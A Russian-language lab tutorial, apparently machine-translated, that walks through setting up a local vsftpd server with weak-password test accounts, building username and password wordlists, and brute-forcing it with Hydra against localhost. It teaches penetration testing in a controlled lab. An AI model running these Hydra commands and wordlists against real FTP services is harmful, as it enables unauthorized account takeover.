Атака на FTP-сервисы с использованием Hydra

HydraHydraBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этой лабораторной работе вы узнаете, как проводить атаки методом перебора (brute-force attacks) против FTP-сервисов с использованием Hydra, универсального инструмента для взлома паролей. Вы настроите локальный FTP-сервер с помощью vsftpd и создадите тестовые учетные записи со слабыми паролями, чтобы продемонстрировать уязвимости безопасности.

Лабораторная работа проведет вас через выполнение атак Hydra, анализ результатов и понимание того, как слабая аутентификация может скомпрометировать FTP-сервисы. Это практическое упражнение охватывает конфигурацию сервера, моделирование атак и оценку безопасности в контролируемой среде.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/installation("Installation and Setup") hydra/HydraGroup -.-> hydra/password_creation("Password List Creation") hydra/HydraGroup -.-> hydra/username_creation("Username List Creation") hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/ftp_attack("FTP Brute Force") hydra/HydraGroup -.-> hydra/output_saving("Output File Saving") hydra/HydraGroup -.-> hydra/verbose_mode("Verbose Mode Usage") subgraph Lab Skills hydra/installation -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} hydra/password_creation -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} hydra/username_creation -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} hydra/single_username -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} hydra/single_password -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} hydra/ftp_attack -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} hydra/output_saving -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} hydra/verbose_mode -.-> lab-549914{{"Атака на FTP-сервисы с использованием Hydra"}} end

Настройка локального FTP-сервера

В этом шаге вы настроите локальный FTP-сервер с использованием vsftpd (Very Secure FTP Daemon) в среде LabEx VM. FTP (File Transfer Protocol) — это стандартный сетевой протокол, используемый для передачи файлов между клиентом и сервером по сети. Представьте его как цифровое почтовое отделение, которое обрабатывает доставку файлов между компьютерами.

  1. Сначала нам нужно установить пакет vsftpd. Эта команда обновит ваш список пакетов и установит программное обеспечение FTP-сервера:
sudo apt-get update && sudo apt-get install -y vsftpd
  1. После установки рекомендуется создать резервную копию файла конфигурации по умолчанию. Таким образом, вы всегда сможете восстановить исходные настройки, если это необходимо:
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
  1. Теперь мы отредактируем файл конфигурации с помощью nano, простого текстового редактора в Linux. Этот файл контролирует поведение вашего FTP-сервера:
sudo nano /etc/vsftpd.conf
  1. Внутри файла конфигурации нам нужно изменить эти важные настройки. Эти изменения:
    • Отключат анонимный доступ (для безопасности)
    • Разрешат локальным пользователям входить в систему
    • Разрешат загрузку файлов
    • Ограничат пользователей их домашними каталогами (для безопасности)
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
modify configuration

Вы можете проверить изменения, выполнив следующую команду:

grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat
verify configuration
  1. После внесения этих изменений сохраните файл, нажав Ctrl+O (Write Out), а затем выйдите из nano с помощью Ctrl+X.

  2. Теперь нам нужно перезапустить службу vsftpd, чтобы применить наши изменения конфигурации. Это похоже на обновление сервера с нашими новыми настройками:

sudo service vsftpd restart
  1. Далее мы создадим тестовую учетную запись пользователя специально для доступа к FTP. Флаг -m создает домашний каталог, а -s устанавливает оболочку (shell) по умолчанию:
sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser

Когда будет предложено, установите пароль password123. Мы используем этот простой пароль только для целей тестирования - в реальных ситуациях вы всегда должны использовать надежные пароли.

  1. Давайте создадим специальный каталог для тестирования FTP и установим правильные разрешения. Это гарантирует, что наш тестовый пользователь сможет получать доступ и изменять файлы в этой папке:
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
  1. Наконец, мы должны убедиться, что наш FTP-сервер работает правильно. Эта команда проверяет состояние службы vsftpd:
sudo service vsftpd status
service status

Вы должны увидеть вывод, указывающий на то, что служба активна (работает). Если вы видите какие-либо ошибки, вам может потребоваться пересмотреть шаги конфигурации.

Настройка FTP-сервера с тестовыми пользователями

В этом шаге мы подготовим наш FTP-сервер к тестированию безопасности, создав тестовые учетные записи с намеренно слабыми паролями. Эта настройка имитирует распространенные уязвимости безопасности, встречающиеся в реальных системах, где пользователи часто выбирают простые пароли. Мы создадим три тестовых пользователя, настроим их домашние каталоги и сгенерируем списки паролей, которые Hydra будет использовать позже.

  1. Сначала давайте создадим трех тестовых пользователей со слабыми паролями (только для демонстрационных целей). Эти команды создают новых системных пользователей с домашними каталогами и устанавливают их пароли:
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd

sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd

sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
  1. Теперь мы создадим выделенные FTP-каталоги для каждого пользователя и установим правильные права владения. Это гарантирует, что каждый пользователь сможет получить доступ только к своим собственным файлам через FTP:
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files

sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
  1. Давайте заполним каталог каждого пользователя тестовым файлом. Эти файлы помогут проверить успешность доступа к FTP позже:
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
  1. Прежде чем продолжить, давайте проверим, работает ли доступ к FTP для одного из наших тестовых пользователей. Эта команда curl пытается загрузить файл, используя учетные данные FTP:
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt

Если все настроено правильно, вы должны увидеть содержимое test1.txt, отображаемое в вашем терминале.

This is ftpuser1's test file

Подготовка списков атак для FTP

В этом шаге вы подготовите списки слов (wordlists), которые Hydra будет использовать для попыток входа на FTP-сервер. Эти списки содержат потенциальные имена пользователей и пароли, которые Hydra будет систематически перебирать во время атаки методом грубой силы (brute-force attack). Понимание того, как создавать эффективные списки слов, имеет решающее значение для тестирования на проникновение (penetration testing).

  1. Сначала мы создадим базовый список имен пользователей, содержащий распространенные имена пользователей FTP. Это имена учетных записей по умолчанию или часто используемые имена, которые администраторы иногда забывают изменить:
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
  1. Далее мы создадим список паролей с распространенными слабыми паролями. Многие пользователи устанавливают простые пароли, которые легко запомнить, но также легко угадать:
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
  1. Давайте проверим, правильно ли созданы оба файла, отобразив их содержимое. Это гарантирует, что наши списки содержат именно то, что мы задумали:
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
  1. Чтобы сгенерировать более сложные комбинации паролей, мы установим инструмент crunch. Это помогает создавать систематические шаблоны паролей, которые могут использоваться в реальных системах:
sudo apt-get install -y crunch
  1. Теперь мы будем использовать crunch для генерации числовых паролей ровно из 6 цифр. Это имитирует распространенные пароли, состоящие только из цифр, такие как даты рождения или простые PIN-коды:
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
  1. Объедините все списки паролей в один всеобъемлющий файл. Этот объединенный список предоставит Hydra больше вариантов паролей для попыток во время атаки:
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
  1. Проверьте, сколько записей паролей мы создали. Это поможет оценить, сколько времени может занять атака методом грубой силы:
wc -l ~/project/combined_passwords.txt
  1. Наконец, создайте меньший тестовый файл паролей для демонстрационных целей. Использование подмножества помогает проверить, работает ли наша настройка, прежде чем запускать полную атаку:
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt

Запуск атаки Hydra на FTP-сервис

В этом шаге вы будете использовать Hydra для выполнения атаки методом грубой силы (brute-force attack) против локального FTP-сервера, который мы настроили ранее. Hydra — это популярный инструмент для взлома паролей, который поддерживает множество протоколов, включая FTP. Атака методом грубой силы систематически перебирает все возможные комбинации паролей, пока не будет найден правильный. Это демонстрирует, почему слабые пароли уязвимы для таких атак.

  1. Сначала убедитесь, что Hydra установлена, проверив ее меню справки. Это подтверждает, что инструмент готов к использованию, и показывает доступные параметры:
hydra -h
  1. Запустите базовую атаку Hydra, используя списки имен пользователей и паролей, которые мы создали. Флаг -L указывает список имен пользователей, а -P указывает список паролей. Hydra будет перебирать каждую комбинацию против FTP-сервиса, работающего на localhost:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
hydra attack
  1. Чтобы увидеть более подробный вывод о ходе атаки, добавьте флаг -vV. Этот подробный режим (verbose mode) помогает понять, что делает Hydra во время атаки:
hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
  1. Запустите более полную атаку с полным списком паролей (это займет больше времени). Опция -t 4 ограничивает до 4 параллельных соединений, чтобы избежать перегрузки сервера, сохраняя при этом хорошую скорость:
hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
  1. Когда Hydra найдет действительные учетные данные, они будут отображены в выводе. Это показывает, какая комбинация имени пользователя/пароля успешно прошла аутентификацию на FTP-сервере. Пример успешного вывода:
[21][ftp] host: 127.0.0.1   login: ftpuser1   password: password1
  1. Сохраните результаты в файл для последующего анализа. Опция -o записывает вывод в файл, а не просто отображает его на экране:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
  1. Проверьте файл результатов, чтобы увидеть, были ли обнаружены какие-либо учетные данные. Это позволяет вам просмотреть результаты после завершения атаки:
cat ~/project/hydra_results.txt

Итог

В этой лабораторной работе вы узнали, как настроить локальный FTP-сервер с помощью vsftpd, включая установку пакета, корректировку конфигурации для доступа локальных пользователей и создание тестовых учетных записей со слабыми паролями. Процесс включал изменение настроек vsftpd.conf, настройку правильных разрешений для каталогов и проверку функциональности сервиса.

Кроме того, вы подготовили тестовую среду для атак Hydra, создав несколько учетных записей с предсказуемыми учетными данными. Эта настройка предоставляет контролируемый сценарий для практики методов грубой силы (brute-force techniques), сохраняя при этом реалистичные условия тестирования безопасности.